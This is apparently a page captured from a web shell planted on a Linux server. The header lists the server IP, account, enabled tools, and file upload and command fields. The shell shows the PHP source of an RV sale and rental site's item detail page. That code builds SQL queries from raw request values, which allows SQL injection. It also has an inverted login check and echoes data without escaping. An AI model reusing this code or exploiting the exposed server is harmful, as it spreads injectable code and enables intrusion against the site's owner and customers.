SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.221.221.171
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www//item_detail.php
<?php
//require_once('./setting.php');
//echo ABSPATH;  exit; //  F:\xampp\htdocs\carivon/
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$error='';
$msg='';
if( !isset( $_SESSION['SESS_id'] ) && (  $_SESSION['SESS_type'] == 'AD' )  ){  		
		$_SESSION['msg'] = '<div class="alert alert-warning" >There is no login.</div>';
		header('Location: '.SUB_DIR_PROJECT.'/index.php');
		exit;
}

global $SITE_URL, $IMG_DIR;  
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$para = '';
if( isset($_REQUEST['para']) ){
	$para = $_REQUEST['para'];
}

$SUB_SQL = '';
$next_links = '';
if( !empty($_REQUEST['i_itemID'] ) ){
	$i_itemID  = addslashes(trim($_REQUEST['i_itemID']));
	$SUB_SQL .= " AND i_itemID = '$i_itemID' " ;
	$next_links .= "&i_itemID=$i_itemID";
}

$SESS_cust_i_customerID  = ( isset( $_SESSION['SESS_cust_i_customerID'] )) ? $_SESSION['SESS_cust_i_customerID'] :0;
if( isset($_REQUEST['submitrentfrm']) && ( $_REQUEST['submitrentfrm'] == 'yes' )  ){

    if( !isset( $_SESSION['SESS_cust_i_customerID'] )){
			$PROMPT ='<div class="alert alert-warning alert-dismissable">
									<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
									<strong><i class="fa fa-check-circle"></i> Success :</strong>Sorry ! to sumit rent order, please login.
			</div>';

			$_SESSION['msg'] = $PROMPT; 
			header('Location: '.SUB_DIR_PROJECT.'/signin.php');
			exit;

	}
   if( empty( $_REQUEST['rent_startDate'] ) || empty( $_REQUEST['rent_endDate'] ) ){
			$PROMPT ='<div class="alert alert-warning alert-dismissable">
									<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
									<strong><i class="fa fa-check-circle"></i> Success :</strong>Sorry ! start or end date can not blank, so please give date.
			</div>';

			$_SESSION['msg'] = $PROMPT; 
			header('Location: '.SUB_DIR_PROJECT.'/item_detail.php?i_itemID='.$_REQUEST['i_itemID'].'&para='.$_REQUEST['para']);
			exit;

	}

   if( ( strtotime($_REQUEST['rent_startDate'] ) >  strtotime( $_REQUEST['rent_endDate'] )) ){
			$PROMPT ='<div class="alert alert-warning alert-dismissable">
									<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
									<strong><i class="fa fa-check-circle"></i> Success :</strong>Sorry ! Please start less should be less than end date.
			</div>';

			$_SESSION['msg'] = $PROMPT; 
			header('Location: '.SUB_DIR_PROJECT.'/item_detail.php?i_itemID='.$_REQUEST['i_itemID'].'&para='.$_REQUEST['para']);
			exit;

	}
	$SQL = "SELECT * FROM tbl_item_rent WHERE  i_itemID = '".$_REQUEST['i_itemID']."' AND (rent_startDate  BETWEEN '".$_REQUEST['rent_startDate']."'  AND '".$_REQUEST['rent_startDate']."' ) OR (rent_endDate  BETWEEN '".$_REQUEST['rent_endDate']."'  AND '".$_REQUEST['rent_endDate']."' )";
	
	$rent_result=$db->query($SQL);

	if ($rent_result->num_rows)
	{  
		//////////////////////////////

			$SQL1 = "SELECT * FROM tbl_item_rent WHERE  i_itemID = '".$_REQUEST['i_itemID']."' ";

			$rent1_result=$db->query($SQL1);
			if ($rent1_result->num_rows)
			{   $booked_date_range = ''; 
				foreach($rent1_result->rows AS $key=>$val1 )
				{		

					$rent_startDate  = date("y-m-d", strtotime($val1['rent_startDate']));
					$rent_endDate  = date("y-m-d", strtotime($val1['rent_endDate']));
					$booked_date_range .= '<strong>'.$rent_startDate.'</strong>  :    :<strong>'.$rent_endDate.'</strong><BR/>';

				}
			}
			
			//////////////////////////////  


			$PROMPT ='<div class="alert alert-warning alert-dismissable">
									<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
									<strong><i class="fa fa-check-circle"></i> Success :</strong>Sorry, there following date are booked, so please try another date.<BR/>'.$booked_date_range.'			</div>';

			$_SESSION['msg'] = $PROMPT; 
			header('Location: '.SUB_DIR_PROJECT.'/item_detail.php?i_itemID='.$_REQUEST['i_itemID'].'&para='.$_REQUEST['para']);
			exit;

	}else{
			$sqlins = "INSERT INTO tbl_item_rent SET i_itemID = '".$_REQUEST['i_itemID']."' , rent_startDate = '".$_REQUEST['rent_startDate']."' , rent_endDate =  '".$_REQUEST['rent_endDate']."', dt_addedDate  = NOW(), i_addedByUserID = '".$_SESSION['SESS_cust_i_customerID']."' ";
			
			$rent_result=$db->query($sqlins);
			$new_i_orderID = $db->getLastId();
			if( $new_i_orderID > 0 ){ 
			$PROMPT ='<div class="alert alert-success alert-dismissable">
									<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
									<strong><i class="fa fa-check-circle"></i> Success :</strong>Your order sumit successfully, Thanks we will contact soon.
			</div>';

				$_SESSION['msg'] = $PROMPT; 
				header('Location: '.SUB_DIR_PROJECT.'/item_detail.php?i_itemID='.$_REQUEST['i_itemID'].'&para='.$_REQUEST['para']);
				exit;
			}else{

				$PROMPT ='<div class="alert alert-warning alert-dismissable">
										<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
										<strong><i class="fa fa-check-circle"></i> Success :</strong>Sorry, could not submit,please try latter.
				</div>';

				$_SESSION['msg'] = $PROMPT; 
				header('Location: '.SUB_DIR_PROJECT.'/item_detail.php?i_itemID='.$_REQUEST['i_itemID'].'&para='.$_REQUEST['para']);
				exit;
			
			}

	
	}
	
}


$SQL2 = "SELECT * FROM tbl_rv_setting";
$rv_set_result=$db->query($SQL2);
if ($rv_set_result->num_rows)
{
	foreach($rv_set_result->rows AS $key=>$val )
	{		

		$item_detail_title  = $val['item_detail_title'];
		$item_detail_short_description = $val['item_detail_short_description'];
		$item_detail_description = $val['item_detail_description'];
		$item_detail_fotter_description = $val['item_detail_fotter_description'];

	}
}

$query2 = "select * from tbl_items where 1  ".$SUB_SQL;	
$result=$db->query($query2);    
if ($result->num_rows)
{	$slno=$page+1;
	foreach($result->rows AS $key=>$val )
	{		
		foreach($val AS $key1=>$val1 )
		{
			$$key1  = stripslashes($val1);
		}							
	}

	$videotarget = "$DOCUMENT_ROOT$PIC_DIR/$item_video";
	if ( $item_video != ''  && file_exists("$videotarget"))
	{
		$videopath = $SITE_URL.'/pic/'.$item_video;
	}


	$threed_image_array  = array();
	for( $i=1; $i < 31 ; $i++ ) {
		$img  = 'v_3dimage'.$i;
		$imgsrc	  = $$img;
		$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
		if ( $$img != ''  && file_exists("$target"))
		{	
			$imgpre			= 'v_3dimageprev'.$i;					
			$delimg			= 'del_v_3dimageprev'.$i;
			$$delimg	    = $imgsrc;
			$threed_image_array[$i]  = $SITE_URL.'/pic/'.$imgsrc;		
		}
	}


}

$booked_date_history = '';
if( $para == 3 ){
	$histry_flag  = 0;
	$todate  = date('Y-m-d');
	$SQL1 = "SELECT * FROM tbl_item_rent WHERE  i_itemID = '".$_REQUEST['i_itemID']."' AND  rent_startDate > '".$todate."' ";
	$rent1_result=$db->query($SQL1);
	if ($rent1_result->num_rows)
	{   $count= 0;
		foreach($rent1_result->rows AS $key=>$val1 )
		{		
			$count++;
			$rent_startDate  = date(DATE_FORMAT_FANCY, strtotime($val1['rent_startDate']));
			$rent_endDate  = date(DATE_FORMAT_FANCY, strtotime($val1['rent_endDate']));
			$booked_date_history .= '<div class="alert alert-warning alert-dismissable" style="margin:5px;padding-bottom: 29px !important;height:65px;width:100%;" >'; 
			//$booked_date_history .= '<strong>'.$rent_startDate.'</strong>  :    :<strong>'.$rent_endDate.'</strong><BR/>';
			$booked_date_history .= '<div class="row" ><div class="col-lg-6 col-sm-16 col-xs-12" ><strong>'.$count.' : </strong>Booked Start Date          '.$rent_startDate.'</div>';
			$booked_date_history .= '<div class="col-lg-6 col-sm-12 col-xs-12" >Booked Ended Date        '.$rent_endDate.'</div></div>'; 
			$booked_date_history .= '</div>'; 
			$histry_flag  = 1;

		}
	}


	
}


if( isset( $_REQUEST['submitcommentfrm'] ) && ( $_REQUEST['submitcommentfrm'] == 'yes' )  )
{
	$SQLUP  = " UPDATE tbl_items SET `average_rating_score` = ( `total_rating_score` / `total_no_of_rating` ) , `total_no_of_rating` = ( `total_no_of_rating` + 1 ) ,  `total_rating_score` = ( `total_rating_score` + '".(int)$_REQUEST['rating'] ."') WHERE i_itemID = '".$_REQUEST['i_itemID'] ."' "; 
	$result = $db->query($SQLUP);
	$PROMPT ='<div class="alert alert-success alert-dismissable">
							<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
							<strong><i class="fa fa-check-circle"></i> Success :</strong>Thank you for your comment.
	</div>';
	$_SESSION['msg'] = $PROMPT;
	$i_itemID  = $_REQUEST['i_itemID'] ;
	header('Location: '.SUB_DIR_PROJECT.'/item_detail.php?i_itemID='.$i_itemID);
	exit;

}
//echo '<pre>';  print_r( $threed_image_array ); echo '</pre>'; 
?> 
<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <title>RV Way</title>
    <!-- mobile responsive meta -->
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link1.php'); ?>
	<?php //require_once($ROOT_DIR.'/page_content/us/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link4.php');  ?>
	<link rel="stylesheet" href="<?php echo $ROOT_DIR.'/css/us/five_star_font_awesome_min.css'; ?>" >
	<style>
	.checked {
		color: orange;
	}
	</style>
	
<?php if( $v_show_image_type == 'normal' ) { ?>

	<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/css/demo.css" />
	<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/css/style.css" />
	<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/css/elastislide.css" />
	<noscript>
		<style>
			.es-carousel ul{
				display:block;
			}
		</style>
	</noscript>
	<script id="img-wrapper-tmpl" type="text/x-jquery-tmpl">	
		<div class="rg-image-wrapper">
			{{if itemsCount > 1}}
				<div class="rg-image-nav">
					<a href="#" class="rg-image-nav-prev">Previous Image</a>
					<a href="#" class="rg-image-nav-next">Next Image</a>
				</div>
			{{/if}}
			<div class="rg-image"></div>
			<div class="rg-loading"></div>
			<div class="rg-caption-wrapper">
				<div class="rg-caption" style="display:none;">
					<p></p>
				</div>
			</div>
		</div>
	</script>

<?php } else if( $v_show_image_type == '3d' ) { ?>
<link href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquerysctipttop.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.css"/> 
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery.min.js"></script>
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.min.js"></script>

<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/rotate.js"></script>
<link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/css/rotate.css" media="all">
<style>
.rotatebox {
width: 655px;
min-width: 655px;
margin: 0 auto;
margin-left: 0px;
}

.ui-slider {
    position: relative;
    text-align: left;
    left: 20%;
}


@media screen and (max-width: 600px) {

	.rotatebox {
	width: 320px;
	min-width: 320px;
	margin: 0 auto;
	margin-left: 0px;
	}

	.ui-slider {
		position: relative;
		text-align: left;
		left: 1%;
	}

}



</style>
<?php } ?>
<style type="text/css" >
video {
  width: 100%    !important;
  height: auto   !important;
}

</style>
<link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/css/us/star-rating-master/style.css">

<?php if( $para == 3 ){ ?>
<!-- Start date picker  -->
<!-- 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/d3js/5.14.2/d3.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css">
-->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<?php if( isset( $videopath ) &&  $v_show_image_type == '3d' ) {  ?>
	  <script src="https://ajax.googleapis.com/ajax/libs/d3js/5.14.2/d3.min.js"></script>
<?php } else { ?>
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<?php } ?>

<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css">

<!-- End date picker -->
<?php } ?>
</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/us/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		<?php // require_once($ROOT_DIR.'/page_content/minimal-bootstrap-carousel_h.php'); ?>
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
		<!--Start AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
        <div style="margin:20px 0px 20px 0px;">
            <div class="container">
                <div class="row">
                    <div class="col-lg-12">
						<h3 class=""><?php echo $item_detail_title; ?></h2>
						<?php echo $item_detail_description; ?>
					</div>
				</div>
			</div>
		</div>
        <div class="">
            <div class="container">
                <div class="row">
                    <div class="col-lg-3 d-none d-sm-block">
					<div class="blog-sidebar">
						<form class="mb-30" method="get" action="<?php echo site_url.'used.php'; ?>" >				
						<?php  require_once($ROOT_DIR.'/page_content/used_sidebar.php'); ?>
						</form>						
					</div><!-- /.blog-sidebar -->						
                    </div><!-- /.col-lg-4 -->
                    <div class="col-lg-9">
						<?php if( $_SESSION['msg'] ){ 
							 echo $_SESSION['msg']; 
							 unset($_SESSION['msg']);
						} 					
						?>
						<?php 

							$SUB_SQL = '';
							$next_links = '';
							if( !empty($_REQUEST['i_itemID'] ) ){
								$i_itemID  = addslashes(trim($_REQUEST['i_itemID']));
								$SUB_SQL .= " AND i_itemID = '$i_itemID' " ;
								$next_links .= "&i_itemID=$i_itemID";
							}
							$query2 = "select * from tbl_items where 1  ".$SUB_SQL;	
							$result=$db->query($query2);    
							if ($result->num_rows)
							{	$slno=$page+1;
								foreach($result->rows AS $key=>$val )
								{		
									foreach($val AS $key1=>$val1 )
									{
										$$key1  = stripslashes($val1);
									}							
								}
							}
						?>

						<?php  if( $v_show_image_type == 'normal' ) {  ?>
						<article class="product_loop">
							<div id="rg-gallery" class="rg-gallery">
								<div class="rg-thumbs">
									<!-- Elastislide Carousel Thumbnail Viewer -->
									<div class="es-carousel-wrapper">
										<div class="es-nav">
											<span class="es-nav-prev">Previous</span>
											<span class="es-nav-next">Next</span>
										</div>
										<div class="es-carousel">
											<ul>
												<?php 
												$SUB_SQL = '';
												$next_links = '';												
												if( !empty($_REQUEST['i_itemID'] ) ){
													$i_itemID  = addslashes(trim($_REQUEST['i_itemID']));
													$SUB_SQL .= " AND i_itemID = '$i_itemID' " ;
													$next_links .= "&i_itemID=$i_itemID";
												}
												$query2 = "select * from tbl_items where 1  ".$SUB_SQL;	
												$result=$db->query($query2);    
												if ($result->num_rows)
												{	$slno=$page+1;
													foreach($result->rows AS $key=>$val )
													{		
														//echo '<pre>'; print_r($val);  echo '</pre>';  exit;
														foreach($val AS $key1=>$val1 )
														{
															$$key1  = stripslashes($val1);
														}
														for( $i=1; $i < 21 ; $i++ ) 
														{
															$img  = 'v_image'.$i;
															$imgsrc	  = $$img;
															//echo $v_image1;   exit;
															$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
															if ( $$img != ''  && file_exists("$target"))
															{	
																	$imgSRC = $SITE_URL.'/pic/'.$imgsrc; 
																	?>
																		<li><a href="#"><img src="<?php echo $imgSRC; ?>" data-large="<?php echo $imgSRC; ?>" alt="<?php echo $v_title; ?>" data-description="<?php echo $v_title; ?>" /></a></li>
																	<?php
															}
														}							
													}
												}
												?>


											</ul>
										</div>
									</div>
									<!-- End Elastislide Carousel Thumbnail Viewer -->
								</div><!-- rg-thumbs -->
							</div><!-- rg-gallery -->

						</article>
						<?php } else  if( isset( $videopath ) &&  $v_show_image_type == 'video' ) {  ?>
						<article class="product_loop">
							<div class="row">
								<div class="col-lg-1 d-none d-sm-none">&nbsp;</div>
								<div class="col-lg-10 col-sm-12 text-center" style="float:center;" >
									<video  controls>
									  <source src="<?php echo $videopath; ?>" type="video/mp4">
									  <source src="<?php echo $videopath; ?>" type="video/ogg">							
									</video>
								</div>
								<div class="col-lg-1 col-lg-1 d-none d-sm-none">&nbsp;</div>
							</div>
						</article>
						<?php } else  if( $v_show_image_type == '3d' ) {   ?>
							<article class="product_loop">
								<div class="row">
									
									<div class="col-lg-12 col-sm-12 text-center" style="float:center;" >
											<div class="rotatebox">
												<div class="images"> </div>
												<div class="slider"></div>
											</div>
											<script>
											<!--
											rotate([
											
											  <?php foreach($threed_image_array AS $key=>$val ){ ?>
											  "<?php echo $val; ?>",				 
											<?php } ?>
											]);
											-->
											</script>
									</div>
									
								</div>
							</article>
						<?php } ?>

						<div class="d-flex justify-content-end"  style="font-size:30px;" >
							<?php
							
							  $average_rating_scoreNew  = $average_rating_score;
							$average_rating_score  = ceil( $average_rating_score);  
							     $blakStart  = ( 5- $average_rating_score); 
							for($i =0 ; $i < $average_rating_score; $i++  ){   ?>
								<span class="fa fa-star checked" style="color:#ffd838;"></span>
							<?php 	 } ?>	
							<?php
								 for($i =0 ; $i < $blakStart; $i++  ){   ?>
								<span class="fa fa-star"></span>
							<?php 	 } ?>
							
							
							</br>
							
						</div>
<p style="float: right;
    font-size: 12px;">Score Rating- <?php echo $average_rating_scoreNew; ?></p>
                        <article class="product_loop">
							<div class="row">
								<div class="col-lg-12">
									<?php echo $tx_description; ?>
								</div>
							</div>
						</article>
                        <article class="product_loop">
							<div class="row">
							<?php 
							
									$sort_by = $_REQUEST['sort_by'];
									if (!$sort_by)
									{	$sort_by = "i_sortOrder";	
									}

									$sort_order = $_REQUEST['sort_order'];
									if (!$sort_order)
									{	$sort_order = "desc";
									}


									GLOBAL $COLORS, $IMG_DIR, $TEMPLATE_DIR, $ARR_STATUS, $ARR_USERS_INDEX;	
									global $SEARCH_RECORDS,$PREV_PAGE_LINK,$NEXT_PAGE_LINK,$TOTAL_RECORDSET,$PAGE_NAVS, $CURRENT_PAGE_NO, $TOTAL_PAGES, $ARR_GLOBAL_STATUS, $ARR_USERS;


									global $PROMPT, $ARR_GLOBAL_STATUS, $ARR_USERS, $ARR_STATUS, $HTTP_SESSION_VARS, $HTTP_POST_FILES, $HTTP_POST_VARS, $DOCUMENT_ROOT, $PIC_DIR, $BANNER_DIR, $TEMP_DIR, $MAP_VROOT_FILE_PATH, $ARR_INDENTITY_TYPE, $ARR_TITLE;

									$CURRENT_PAGE_NO=0;
									$TOTAL_PAGES=0;
									$TOTAL_RECORDSET=0;

									$MAX=12;
									$page = ( isset( $_REQUEST['page'] ) ) ? $_REQUEST['page'] : 0 ;
									if(!($page)) 
									$page = 0 ;

									$lastrow=$MAX+$page;


									$SUB_SQL = '';
									$next_links = '';
									
									if( !empty($_REQUEST['i_itemID'] ) ){
										$i_itemID  = addslashes(trim($_REQUEST['i_itemID']));
										$SUB_SQL .= " AND i_itemID = '$i_itemID' " ;
										$next_links .= "&i_itemID=$i_itemID";
									}
									$query2 = "select * from tbl_items where 1  ".$SUB_SQL;	
									$result=$db->query($query2);    
									if ($result->num_rows)
									{	$slno=$page+1;
										foreach($result->rows AS $key=>$val )
										{		//echo '<pre>'; print_r($val);  echo '</pre>';  exit;
												foreach($val AS $key1=>$val1 )
												{
													$$key1  = stripslashes($val1);
												}

												$img_flag  = 1;
												for( $i=1; $i < 11 ; $i++ ) {
													$img  = 'v_image'.$i;
													$imgsrc	  = $$img;
													//echo $v_image1;   exit;
													$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
													if ( $$img != ''  && file_exists("$target"))
													{	
														if( $img_flag  == 1){
															$img_flag  = 2;
															$imgSRC = $SITE_URL.'/pic/'.$imgsrc;
														}
													}
												}
												
												$img_src  = ( isset($imgSRC )) ? $imgSRC : site_url.'/img/partners/aaa.jpg';
												$new_arrival = ( $new_arrival_select == 1 ) ? '<span class="tag tag-pill tag-new">New Arrival</span>' : '';
												$Reduced = ( $reduced_select == 1 ) ? '<span class="tag tag-pill tag-reduced">Reduced</span>' : '';
												
												
												//$In_Stock = ( $in_stock_select == 1 ) ? '<span class="tag tag-pill tag-instock">In Stock</span>' : '';
											   if($stock>=1)
											   {
											       $In_Stock = '<span class="tag tag-pill tag-instock">In Stock</span>';
											   }
											   else
											   {
											       $In_Stock = '<span class="tag tag-pill tag-reduced">Out Of Stock</span>';
											   }
																				
										}

									}


									

															
							?>
							
							</div>
							<!-- Start to detail Item -->


							<div class="row" >
								<div class="col-lg-12">
								   <h4 class="text-xs-center">Item Information</h4><BR/><BR/> 
								   <div class="row text-xs-center py-1">
								      <?php echo $new_arrival; ?> <?php echo $Reduced; ?> <?php echo $In_Stock; ?>
									 
								   </div>
								   <!-- /.row text-xs-center py-1 -->
								   <div class="row">
									 
									  <div class="col-sm-6 col-md-6 col-lg-6 col-xl-6">
										 <table class="table table-striped table-info-specs">
											<tbody>
											    
											   <?php  if($stock!=""){ ?>
											   <tr>
												  <td><i class="mdi mdi-pound-box"></i> Stock #</td>
												  <td><?php echo $stock; ?></td>
											   </tr>
											   <?php  } ?>
											   
											   
											   <?php  if($year!=""){ ?>
											   <tr>
												  <td><i class="mdi mdi-calendar"></i> Year</td>
												  <td><?php echo $year; ?></td>
											   </tr>
											   <?php  } ?>
											   
											   <?php  if($brand!=""){ ?>
											   <tr>
												  <td><i class="mdi mdi-star-circle"></i> Brand</td>
												  <td><?php echo $brand; ?></td>
											   </tr>
											   <?php } ?>
											   
											   <?php  if($model!=""){ ?>
											   <tr>
												  <td><i class="mdi mdi-star-half"></i> Model</td>
												  <td><?php echo $model; ?></td>
											   </tr>
											    <?php } ?>
											    
											    
											    <?php  if($floorplan!=""){ ?>
											   <tr>
												  <td><i class="mdi mdi-view-quilt"></i> Floorplan</td>
												  <td><?php echo $floorplan; ?></td>
											   </tr>
											   <?php } ?>
											   
											   <?php  if($floorplan!=""){ ?>
											   <tr>
												  <td><i class="mdi mdi-car"></i> Type</td>
												  <td><?php echo $type; ?></td>
											   </tr>
											   <?php } ?>
											   
											</tbody>
										 </table>
									  </div>
									  <!-- /.col-md-6 -->
									  <div class="col-sm-6 col-md-6 col-lg-6 col-xl-6">
										 <table class="table table-striped table-info-specs">
											<tbody>
												<?php if( $length !=''  ) { ?>
											   <tr>
												  <td><i class="mdi mdi-ruler"></i> Length</td>
												  <td><?php echo $length; ?></td>
											   </tr>
											   <?php }  if( $width !=''  ) { ?>
											   <tr>
												  <td><i class="mdi mdi-ruler"></i> Width</td>
												  <td><?php echo $width; ?></td>
											   </tr>
											   <?php }  if( $location !=''  ) { ?>
											   <tr>
												  <td><i class="mdi mdi-map-marker"></i> Location</td>
												  <td><?php echo $location; ?></td>
											   </tr>
											   <?php }  if( $sale_price !='' && ( $para !=3 )  ) { ?>
											   <tr>
												  <td><i class="mdi mdi-sale"></i> Sale Price</td>
												  <td class="sale-price"><?php echo $curreny_type; ?><?php echo $sale_price; ?></td>
											   </tr>
											   <?php }else if(  $rent_price_per_day !='' && ( $para ==3 )  ){  ?>
											   <tr>
												  <td><i class="mdi mdi-sale"></i> Rent Price</td>
												  <td class="sale-price"><?php echo $curreny_type; ?> : <?php echo $rent_price_per_day; ?></td>
											   </tr>
											    <?php } ?>
											</tbody>
										 </table>
									  </div>
									  <!-- /.col-md-6 -->
								   </div>
								   <!-- /.row -->
								</div>
						
							</div>

							<div class="row" >
									<div class="col-sm-6 col-md-6 col-lg-6 col-xl-6">
											  
											  <button class="btn btn-primary btn-block hidden-sm-up mt-1"  type="button" data-toggle="collapse" data-target="#specifications" aria-expanded="false" aria-controls="specifications" >Specifications<i class="mdi mdi-chevron-down"></i></button> 											  
											  
											  <div class="hidden-xs-down collapse" id="specifications">
												<table class="table table-striped table-info-specs">
												  <thead class="thead-default">
													<tr>
													  <th colspan="2">Specifications</th>
													</tr>
												  </thead>
												  <tbody>
													<tr>
													  <td><i class="mdi mdi-screwdriver"></i> Condition</td>
													  <td> <?php echo $condition; ?></td> 
													</tr>							<?php if( $quantity > 0 ) { ?>
																					 <tr>
																						  <td><i class="mdi mdi-numeric"></i> Quantity:</td>
																						  <td> <?php echo $quantity; ?></td>
																					  </tr>  
																					  <?php }  if( $sleeps !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-hotel"></i> Sleeps:</td>
																						  <td>  <?php echo $sleeps; ?></td>
																					  </tr> 
																					   <?php }  if( $water_capacity_black !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-water-off"></i> Water Capacity - Black:</td>
																						  <td> <?php echo $water_capacity_black; ?></td>
																					  </tr>  
																					   <?php } if( $water_capacity_fresh !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-cup-water"></i> Water Capacity - Fresh:</td>
																						  <td> <?php echo $water_capacity_fresh; ?></td>
																					  </tr> 
																					   <?php }  if( $water_capacity_grey !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-water-percent"></i> Water Capacity - Grey:</td>
																						  <td> <?php echo $water_capacity_grey; ?></td>
																					  </tr>
																					   <?php } if( $of_air_conditioners !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-air-conditioner"></i> # of Air Conditioners:</td>
																						  <td> <?php echo $of_air_conditioners; ?> </td>
																					  </tr>  
																					   <?php }  if( $dry_weight !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-scale-bathroom"></i> Dry Weight:</td>
																						  <td> <?php echo $dry_weight; ?></td>
																					  </tr>  
																					   <?php }  if( $hitch_weight !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-scale"></i> Hitch Weight:</td>
																						  <td> <?php echo $hitch_weight; ?></td>
																					  </tr>  
																					   <?php } if( $sleeps !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-backburger"></i> # of Slideouts:</td>
																						  <td> 1</td>
																					  </tr>  
																					   <?php } if( $of_axles !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-ray-vertex"></i> # of Axles:</td>
																						  <td> <?php echo $of_axles; ?></td>
																					  </tr>  
																					   <?php } if( $length !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-ruler"></i> Length:</td>
																						  <td> <?php echo $length; ?></td>
																					  </tr>  
																					   <?php }  if( $width !=''  ) { ?>
																					  <tr>
																						  <td><i class="mdi mdi-ruler"></i> Width:</td>
																						  <td> <?php echo $width; ?></td>
																					  </tr>
																					   <?php } ?>

												  </tbody>
												</table>
											  </div><!-- /.hidden-xs-down specifications #specifications -->
									</div>

									<div class="col-sm-6 col-md-6 col-lg-6 col-xl-6">
											  
											  
											  <button class="btn btn-primary btn-block hidden-sm-up mt-1"  type="button" data-toggle="collapse" data-target="#features-included" aria-expanded="false" aria-controls="features-included" >Features Included <i class="mdi mdi-chevron-down"></i></button> 
											   
											  <div class="hidden-xs-down collapse" id="features-included">
												<table class="table table-striped" id="table-features">
												  <thead class="thead-default">
													<tr>
													  <th colspan="2">Features Included</th>
													</tr>
												  </thead>
												  <tbody>                
													<tr>
													  <td>
														<i class="mdi mdi-stove"></i> Appliances
													  </td>
													</tr>                
													<tr>
													  <td>
														<ul class="list-unstyled multi-column">
